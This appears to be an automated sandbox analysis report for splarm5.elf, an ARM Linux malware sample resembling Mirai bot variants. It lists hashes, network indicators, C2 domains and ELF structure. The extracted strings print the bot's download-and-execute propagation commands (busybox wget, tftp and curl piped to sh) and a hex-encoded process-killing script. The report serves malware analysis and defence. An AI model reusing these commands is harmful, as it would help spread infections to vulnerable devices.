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Linux Analysis Report
splarm5.elf

Overview

General Information

Sample name:	splarm5.elf
Analysis ID:	1563458
MD5:	e5efccbeb3f350510e2547b79012a106
SHA1:	f37aa0d687dd2313eea0b3cdbb55df46c7068f2b
SHA256:	04f5010d43a4802be5aa4dcec35403fe3aeb5a68a638b9b9fe028457c9295fbb
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1563458
Start date and time:	2024-11-26 23:51:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splarm5.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/82@11/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: splarm5.elf

Runtime Messages

Command:	/tmp/splarm5.elf
PID:	5527
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splarm5.elf (PID: 5527, Parent: 5446, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/splarm5.elf

splarm5.elf New Fork (PID: 5530, Parent: 5527)

splarm5.elf New Fork (PID: 5532, Parent: 5530)

splarm5.elf New Fork (PID: 5534, Parent: 5530)

splarm5.elf New Fork (PID: 5536, Parent: 5530)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: splarm5.elf

ReversingLabs: Detection: 44%

Source: splarm5.elf

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 154.213.187.213 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.249 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.15:39422 -> 154.213.187.249:38241
Source: global traffic	TCP traffic: 192.168.2.15:57680 -> 154.213.187.213:38241
Source: global traffic	TCP traffic: 192.168.2.15:37790 -> 154.213.187.242:38241
Source: global traffic	TCP traffic: 192.168.2.15:53366 -> 154.213.187.214:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 159.0.118.44
Source: unknown	TCP traffic detected without corresponding DNS query: 149.235.0.45
Source: unknown	TCP traffic detected without corresponding DNS query: 8.246.47.224
Source: unknown	TCP traffic detected without corresponding DNS query: 160.57.75.121
Source: unknown	TCP traffic detected without corresponding DNS query: 174.3.63.177
Source: unknown	TCP traffic detected without corresponding DNS query: 133.92.96.133
Source: unknown	TCP traffic detected without corresponding DNS query: 30.23.59.14
Source: unknown	TCP traffic detected without corresponding DNS query: 216.215.13.15
Source: unknown	TCP traffic detected without corresponding DNS query: 96.5.16.40
Source: unknown	TCP traffic detected without corresponding DNS query: 2.234.119.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.147.128.235
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.83.237
Source: unknown	TCP traffic detected without corresponding DNS query: 85.220.196.117
Source: unknown	TCP traffic detected without corresponding DNS query: 5.77.170.173
Source: unknown	TCP traffic detected without corresponding DNS query: 179.86.13.5
Source: unknown	TCP traffic detected without corresponding DNS query: 105.37.91.105
Source: unknown	TCP traffic detected without corresponding DNS query: 116.227.219.45
Source: unknown	TCP traffic detected without corresponding DNS query: 50.143.196.165
Source: unknown	TCP traffic detected without corresponding DNS query: 106.103.218.57
Source: unknown	TCP traffic detected without corresponding DNS query: 12.245.130.81
Source: unknown	TCP traffic detected without corresponding DNS query: 115.139.186.48
Source: unknown	TCP traffic detected without corresponding DNS query: 72.20.238.178
Source: unknown	TCP traffic detected without corresponding DNS query: 41.115.15.45
Source: unknown	TCP traffic detected without corresponding DNS query: 24.14.88.1
Source: unknown	TCP traffic detected without corresponding DNS query: 174.246.79.254
Source: unknown	TCP traffic detected without corresponding DNS query: 172.72.77.18
Source: unknown	TCP traffic detected without corresponding DNS query: 71.70.111.126
Source: unknown	TCP traffic detected without corresponding DNS query: 36.70.220.10
Source: unknown	TCP traffic detected without corresponding DNS query: 38.106.78.206
Source: unknown	TCP traffic detected without corresponding DNS query: 101.167.244.133
Source: unknown	TCP traffic detected without corresponding DNS query: 89.192.231.126
Source: unknown	TCP traffic detected without corresponding DNS query: 178.109.183.27
Source: unknown	TCP traffic detected without corresponding DNS query: 219.121.213.36
Source: unknown	TCP traffic detected without corresponding DNS query: 207.71.192.255
Source: unknown	TCP traffic detected without corresponding DNS query: 68.168.232.115
Source: unknown	TCP traffic detected without corresponding DNS query: 159.0.118.44
Source: unknown	TCP traffic detected without corresponding DNS query: 158.69.81.185
Source: unknown	TCP traffic detected without corresponding DNS query: 149.235.0.45
Source: unknown	TCP traffic detected without corresponding DNS query: 212.206.23.130
Source: unknown	TCP traffic detected without corresponding DNS query: 33.245.82.200
Source: unknown	TCP traffic detected without corresponding DNS query: 8.246.47.224
Source: unknown	TCP traffic detected without corresponding DNS query: 75.69.82.26
Source: unknown	TCP traffic detected without corresponding DNS query: 160.57.75.121
Source: unknown	TCP traffic detected without corresponding DNS query: 125.223.59.5
Source: unknown	TCP traffic detected without corresponding DNS query: 140.9.230.229
Source: unknown	TCP traffic detected without corresponding DNS query: 174.3.63.177
Source: unknown	TCP traffic detected without corresponding DNS query: 124.160.57.177
Source: unknown	TCP traffic detected without corresponding DNS query: 213.243.170.253
Source: unknown	TCP traffic detected without corresponding DNS query: 133.92.96.133
Source: unknown	TCP traffic detected without corresponding DNS query: 43.120.148.107

Source: global traffic	DNS traffic detected: DNS query: netfags.geek
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: netfags.geek. [malformed]

Source: splarm5.elf	String found in binary or memory: http:///curl.sh
Source: splarm5.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5560/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5560/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5560/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5560/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5561/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5561/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5561/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5561/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5562/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5562/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5562/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5562/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5563/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5563/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5563/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5563/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5558/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5558/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5558/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5558/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5559/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5559/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5559/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5559/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5614/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5614/cmdline	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/splarm5.elf (PID: 5534)	File opened: /proc/5549/cmdline	Jump to behavior

Source: splarm5.elf, 5527.1.000055c98f82f000.000055c98f95d000.rw-.sdmp, splarm5.elf, 5532.1.000055c98f82f000.000055c98f95d000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: splarm5.elf, 5527.1.00007ffc0a743000.00007ffc0a764000.rw-.sdmp, splarm5.elf, 5532.1.00007ffc0a743000.00007ffc0a764000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm5.elf
Source: splarm5.elf, 5527.1.000055c98f82f000.000055c98f95d000.rw-.sdmp, splarm5.elf, 5532.1.000055c98f82f000.000055c98f95d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm5.elf, 5527.1.00007ffc0a743000.00007ffc0a764000.rw-.sdmp, splarm5.elf, 5532.1.00007ffc0a743000.00007ffc0a764000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	IP	Active	Malicious	Reputation
netfags.geek	154.213.187.247	true	false	high
burnthe.libre	154.213.187.213	true	false	high
netfags.geek. [malformed]	unknown	unknown	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
66.108.198.177	unknown	United States	12271	TWC-12271-NYCUS	false
77.196.131.161	unknown	France	15557	LDCOMNETFR	false
71.236.15.185	unknown	United States	7922	COMCAST-7922US	false
145.126.84.25	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
106.81.140.30	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
87.89.148.7	unknown	France	5410	BOUYGTEL-ISPFR	false
65.139.40.151	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
139.80.25.16	unknown	New Zealand	38305	OTAGO-UNIVERSITY-AS-NZ-APTheUniversityofOtagoNZ	false
87.94.215.175	unknown	Finland	16086	DNAFI	false
157.227.41.66	unknown	Australia	4704	SANNETRakutenMobileIncJP	false
12.218.19.186	unknown	United States	27529	CSC-EMEDNYUS	false
69.45.124.66	unknown	United States	3356	LEVEL3US	false
20.220.36.45	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
176.131.58.252	unknown	France	5410	BOUYGTEL-ISPFR	false
204.37.130.157	unknown	United States	1580	DNIC-ASBLK-01550-01601US	false
97.124.212.94	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
48.128.139.87	unknown	United States	2686	ATGS-MMD-ASUS	false
218.252.55.130	unknown	Hong Kong	9908	HKCABLE2-HK-APHKCableTVLtdHK	false
179.164.37.69	unknown	Brazil	26599	TELEFONICABRASILSABR	false
206.130.79.254	unknown	Canada	5690	VIANET-NOCA	false
92.107.95.220	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
116.207.216.171	unknown	China	136191	CHINATELECOM-HUBEI-YICHANG-IDCYICHANGHubeiProvincePR	false
42.23.160.13	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
50.11.239.201	unknown	United States	2686	ATGS-MMD-ASUS	false
158.135.211.215	unknown	United States	33187	SHSU-AS-1US	false
192.95.227.178	unknown	Canada	22995	BARR-XPLR-ASNCA	false
219.180.130.129	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
93.164.247.77	unknown	Denmark	3292	TDCTDCASDK	false
141.128.243.35	unknown	United States	197921	HBTFJO	false
109.242.193.46	unknown	Greece	25472	WIND-ASGR	false
96.5.16.40	unknown	United States	11686	ENAUS	false
216.32.216.48	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
134.76.115.144	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
154.64.190.155	unknown	United States	174	COGENT-174US	false
203.181.68.183	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
52.235.54.82	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
158.140.192.254	unknown	Australia	9310	MYREPUBLICNETS-AS-APMYREPUBLICPTYLTDAU	false
209.132.45.223	unknown	United States	33398	HOSTA-LASUS	false
183.240.107.143	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
78.196.186.169	unknown	France	12322	PROXADFR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
145.126.84.25	3ush6bY3dj.elf	Get hash	malicious	Mirai	Browse
87.94.215.175	O4zEMAGRoe.elf	Get hash	malicious	Mirai	Browse
87.94.215.175	F9d5ol32UT	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	splsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	splmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nabx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	nklspc.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	splx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.247
	nabm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
	nklx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.248
	zerarm.elf	Get hash	malicious	Unknown	Browse	154.213.187.249
	arm.elf	Get hash	malicious	Unknown	Browse	154.213.187.213
netfags.geek	nklsh4.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	splm68k.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	splarm7.elf	Get hash	malicious	Unknown	Browse	154.213.187.245
	nklmips.elf	Get hash	malicious	Unknown	Browse	154.213.187.214
	zerx86.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	154.213.187.247

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMCAST-7922US	nklsh4.elf	Get hash	malicious	Unknown	Browse	173.160.111.44
	splsh4.elf	Get hash	malicious	Unknown	Browse	30.218.180.158
	splm68k.elf	Get hash	malicious	Unknown	Browse	68.82.110.142
	splmips.elf	Get hash	malicious	Unknown	Browse	76.135.20.12
	nabx86.elf	Get hash	malicious	Unknown	Browse	98.203.14.65
	nklmips.elf	Get hash	malicious	Unknown	Browse	98.59.33.181
	nklspc.elf	Get hash	malicious	Unknown	Browse	76.26.192.168
	nklmpsl.elf	Get hash	malicious	Unknown	Browse	76.158.41.63
	splx86.elf	Get hash	malicious	Unknown	Browse	30.127.13.178
	spc.elf	Get hash	malicious	Unknown	Browse	76.17.32.237
TWC-12271-NYCUS	nabspc.elf	Get hash	malicious	Unknown	Browse	98.12.2.52
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	24.168.58.124
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	74.68.30.243
	apep.x86.elf	Get hash	malicious	Mirai	Browse	50.74.9.198
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	76.15.147.84
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	68.172.244.19
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	24.103.5.214
	ppc.elf	Get hash	malicious	Mirai	Browse	66.65.108.175
	owari.spc.elf	Get hash	malicious	Unknown	Browse	24.213.167.68
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	74.73.236.184
LDCOMNETFR	splmips.elf	Get hash	malicious	Unknown	Browse	93.28.185.60
	splx86.elf	Get hash	malicious	Unknown	Browse	79.81.69.63
	spc.elf	Get hash	malicious	Unknown	Browse	77.133.88.45
	nabm68k.elf	Get hash	malicious	Unknown	Browse	79.91.185.233
	splarm.elf	Get hash	malicious	Unknown	Browse	37.64.35.80
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	93.23.207.251
	m68k.elf	Get hash	malicious	Unknown	Browse	93.29.155.78
	nklarm7.elf	Get hash	malicious	Unknown	Browse	37.69.111.57
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	109.9.218.44
	fbot.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	77.159.152.59
SURFNET-NLSURFnetTheNetherlandsNL	splarm7.elf	Get hash	malicious	Unknown	Browse	130.112.52.82
	nklppc.elf	Get hash	malicious	Unknown	Browse	131.174.245.137
	nklarm7.elf	Get hash	malicious	Unknown	Browse	145.98.28.65
	arm5.elf	Get hash	malicious	Unknown	Browse	145.126.84.94
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	145.46.46.12
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	134.221.96.68
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	145.56.212.224
	fbot.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	145.126.59.73
	fbot.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	141.253.229.94
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	145.102.107.15

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splarm5.elf	false		high
http:///curl.sh	splarm5.elf	false		high

Process:	/tmp/splarm5.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	283
Entropy (8bit):	3.1195756140433364
Encrypted:	false
SSDEEP:	6:uIgDF0/VWDFfXNl/Vtj/VjmsVot/VOArB/VH:4llbil
MD5:	C4CDAD5EE1ABC1293BA91B55B1FBC6C5
SHA1:	E1DCA8621F779DDE500E749D9CE7F6F995F7D7DB
SHA-256:	1451877FE3B3689B198B92CE3F72D2908297F93FD18DE1D0AFEB9E495C0BAE60
SHA-512:	57C18088E05AF086AA7B0CC46FFC869BFA6B82B6FDF8D242B1C39E1B1D276057A792109033DBEE4779FDF5293EF83DCA14CC72DB550EDD337A54DCFC262122B9
Malicious:	false
Reputation:	low
Preview:	8000-17000 r-xp 00000000 fd:00 531606 /tmp/..1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/..20000-22000 rw-p 00000000 00:00 0 .22000-23000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.0422423634277616
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splarm5.elf
File size:	62'332 bytes
MD5:	e5efccbeb3f350510e2547b79012a106
SHA1:	f37aa0d687dd2313eea0b3cdbb55df46c7068f2b
SHA256:	04f5010d43a4802be5aa4dcec35403fe3aeb5a68a638b9b9fe028457c9295fbb
SHA512:	8341bb1e042e5f5b7c9bd023437443a5f0b50013fd31f581b6f21fb84b61adee2940bdb5ba92a4ed7ae63b60cfea1082a658fd4324506ec0e2bf1e6a7fa7dcc5
SSDEEP:	1536:S73rrxz784rWI00Y5RoGSDpw5KUCP4T3bsR:Q3rrCnWG0O5KRP4T3
TLSH:	47532986BC919A17C5D462BAFA5E41DD332223F8D1DF7207DD116F193B8A82B0D7B241
File Content Preview:	.ELF...a..........(.........4...........4. ...(.....................D...D...........................................Q.td..................................-...L."...v7..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	61892
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xde10	0x0	0x6	AX	16
.fini	PROGBITS	0x15ec0	0xdec0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15ed4	0xded4	0xf70	0x0	0x2	A	4
.ctors	PROGBITS	0x1f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f008	0xf008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f010	0xf010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f014	0xf014	0x16c	0x0	0x3	WA	4
.bss	NOBITS	0x1f180	0xf180	0x1198	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf180	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xee44	0xee44	6.0980	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf000	0x1f000	0x1f000	0x180	0x1318	0.8499	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
